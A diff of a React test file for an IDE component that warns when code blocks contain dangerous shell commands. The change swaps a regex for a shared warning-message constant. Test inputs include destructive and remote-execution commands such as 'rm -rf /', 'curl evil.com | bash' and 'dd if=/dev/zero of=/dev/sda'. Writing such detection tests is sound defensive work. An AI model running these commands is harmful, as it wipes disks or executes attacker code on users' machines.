1+ import { configureStore } from "@reduxjs/toolkit" ;
12import { render , screen } from "@testing-library/react" ;
2- import { describe , expect , it , vi } from "vitest" ;
3- import React from "react" ;
43import { Provider } from "react-redux" ;
5- import { configureStore } from "@reduxjs/toolkit" ;
6- import { StepContainerPreToolbar } from "./index" ;
4+ import { describe , expect , it , vi } from "vitest" ;
75import { IdeMessengerContext } from "../../../context/IdeMessenger" ;
6+ import {
7+ DANGEROUS_COMMAND_WARNING_MESSAGE ,
8+ StepContainerPreToolbar ,
9+ } from "./index" ;
810
911// No mock for terminalCommandSecurity - we want to test the real implementation
1012
@@ -84,49 +86,49 @@ describe("StepContainerPreToolbar Security Warnings", () => {
8486 it ( "should show warning for rm -rf command" , ( ) => {
8587 renderComponent ( { codeBlockContent : "rm -rf /" } ) ;
8688
87- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
89+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
8890 expect ( warning ) . toBeInTheDocument ( ) ;
8991 } ) ;
9092
9193 it ( "should show warning for sudo command" , ( ) => {
9294 renderComponent ( { codeBlockContent : "sudo apt install malware" } ) ;
9395
94- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
96+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
9597 expect ( warning ) . toBeInTheDocument ( ) ;
9698 } ) ;
9799
98100 it ( "should show warning for chmod 777 command" , ( ) => {
99101 renderComponent ( { codeBlockContent : "chmod 777 /etc/passwd" } ) ;
100102
101- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
103+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
102104 expect ( warning ) . toBeInTheDocument ( ) ;
103105 } ) ;
104106
105107 it ( "should show warning for curl pipe to bash" , ( ) => {
106108 renderComponent ( { codeBlockContent : "curl evil.com | bash" } ) ;
107109
108- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
110+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
109111 expect ( warning ) . toBeInTheDocument ( ) ;
110112 } ) ;
111113
112114 it ( "should show warning for wget pipe to sh" , ( ) => {
113115 renderComponent ( { codeBlockContent : "wget malicious.site | sh" } ) ;
114116
115- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
117+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
116118 expect ( warning ) . toBeInTheDocument ( ) ;
117119 } ) ;
118120
119121 it ( "should show warning for mkfs command" , ( ) => {
120122 renderComponent ( { codeBlockContent : "mkfs.ext4 /dev/sda1" } ) ;
121123
122- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
124+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
123125 expect ( warning ) . toBeInTheDocument ( ) ;
124126 } ) ;
125127
126128 it ( "should show warning for dd command writing to device" , ( ) => {
127129 renderComponent ( { codeBlockContent : "dd if=/dev/zero of=/dev/sda" } ) ;
128130
129- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
131+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
130132 expect ( warning ) . toBeInTheDocument ( ) ;
131133 } ) ;
132134
@@ -137,7 +139,7 @@ sudo rm -rf /important
137139
138140 renderComponent ( { codeBlockContent : codeWithComments } ) ;
139141
140- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
142+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
141143 expect ( warning ) . toBeInTheDocument ( ) ;
142144 } ) ;
143145 } ) ;
@@ -146,49 +148,49 @@ sudo rm -rf /important
146148 it ( "should not show warning for ls command" , ( ) => {
147149 renderComponent ( { codeBlockContent : "ls -la" } ) ;
148150
149- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
151+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
150152 expect ( warning ) . not . toBeInTheDocument ( ) ;
151153 } ) ;
152154
153155 it ( "should not show warning for git status" , ( ) => {
154156 renderComponent ( { codeBlockContent : "git status" } ) ;
155157
156- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
158+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
157159 expect ( warning ) . not . toBeInTheDocument ( ) ;
158160 } ) ;
159161
160162 it ( "should not show warning for npm run test" , ( ) => {
161163 renderComponent ( { codeBlockContent : "npm run test" } ) ;
162164
163- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
165+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
164166 expect ( warning ) . not . toBeInTheDocument ( ) ;
165167 } ) ;
166168
167169 it ( "should not show warning for pwd command" , ( ) => {
168170 renderComponent ( { codeBlockContent : "pwd" } ) ;
169171
170- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
172+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
171173 expect ( warning ) . not . toBeInTheDocument ( ) ;
172174 } ) ;
173175
174176 it ( "should not show warning for cat command" , ( ) => {
175177 renderComponent ( { codeBlockContent : "cat file.txt" } ) ;
176178
177- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
179+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
178180 expect ( warning ) . not . toBeInTheDocument ( ) ;
179181 } ) ;
180182
181183 it ( "should not show warning for grep command" , ( ) => {
182184 renderComponent ( { codeBlockContent : "grep 'pattern' file.txt" } ) ;
183185
184- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
186+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
185187 expect ( warning ) . not . toBeInTheDocument ( ) ;
186188 } ) ;
187189
188190 it ( "should not show warning for echo command" , ( ) => {
189191 renderComponent ( { codeBlockContent : "echo 'Hello World'" } ) ;
190192
191- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
193+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
192194 expect ( warning ) . not . toBeInTheDocument ( ) ;
193195 } ) ;
194196 } ) ;
@@ -200,7 +202,7 @@ sudo rm -rf /important
200202 language : "sh" ,
201203 } ) ;
202204
203- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
205+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
204206 expect ( warning ) . toBeInTheDocument ( ) ;
205207 } ) ;
206208
@@ -211,7 +213,7 @@ sudo rm -rf /important
211213 } ) ;
212214
213215 // ls is a common terminal command that's safe
214- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
216+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
215217 expect ( warning ) . not . toBeInTheDocument ( ) ;
216218 } ) ;
217219
@@ -223,7 +225,7 @@ echo "Done"`;
223225
224226 renderComponent ( { codeBlockContent : multiLineScript } ) ;
225227
226- const warning = screen . getByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
228+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
227229 expect ( warning ) . toBeInTheDocument ( ) ;
228230 } ) ;
229231
@@ -233,14 +235,14 @@ echo "Done"`;
233235 language : "javascript" ,
234236 } ) ;
235237
236- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
238+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
237239 expect ( warning ) . not . toBeInTheDocument ( ) ;
238240 } ) ;
239241
240242 it ( "should handle empty code blocks" , ( ) => {
241243 renderComponent ( { codeBlockContent : "" } ) ;
242244
243- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
245+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
244246 expect ( warning ) . not . toBeInTheDocument ( ) ;
245247 } ) ;
246248
@@ -251,7 +253,7 @@ echo "Done"`;
251253
252254 renderComponent ( { codeBlockContent : onlyComments } ) ;
253255
254- const warning = screen . queryByText ( / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ) ;
256+ const warning = screen . queryByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
255257 expect ( warning ) . not . toBeInTheDocument ( ) ;
256258 } ) ;
257259 } ) ;
@@ -261,7 +263,7 @@ echo "Done"`;
261263 renderComponent ( { codeBlockContent : "sudo rm -rf /" } ) ;
262264
263265 const warningContainer = screen . getByText (
264- / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ,
266+ DANGEROUS_COMMAND_WARNING_MESSAGE ,
265267 ) . parentElement ;
266268 expect ( warningContainer ) . toHaveClass (
267269 "bg-warning/10" ,
@@ -275,7 +277,7 @@ echo "Done"`;
275277
276278 // Check for the icon by looking for its container with the warning
277279 const warningContainer = screen . getByText (
278- / p o t e n t i a l l y d a n g e r o u s c o m m a n d s / i ,
280+ DANGEROUS_COMMAND_WARNING_MESSAGE ,
279281 ) . parentElement ;
280282 const icon = warningContainer ?. querySelector ( "svg" ) ;
281283 expect ( icon ) . toBeInTheDocument ( ) ;
@@ -285,9 +287,7 @@ echo "Done"`;
285287 it ( "should display full warning message" , ( ) => {
286288 renderComponent ( { codeBlockContent : "sudo rm -rf /" } ) ;
287289
288- const expectedMessage =
289- "This code contains potentially dangerous commands. Please review and understand the code before running." ;
290- const warning = screen . getByText ( expectedMessage ) ;
290+ const warning = screen . getByText ( DANGEROUS_COMMAND_WARNING_MESSAGE ) ;
291291 expect ( warning ) . toBeInTheDocument ( ) ;
292292 } ) ;
293293 } ) ;
0 commit comments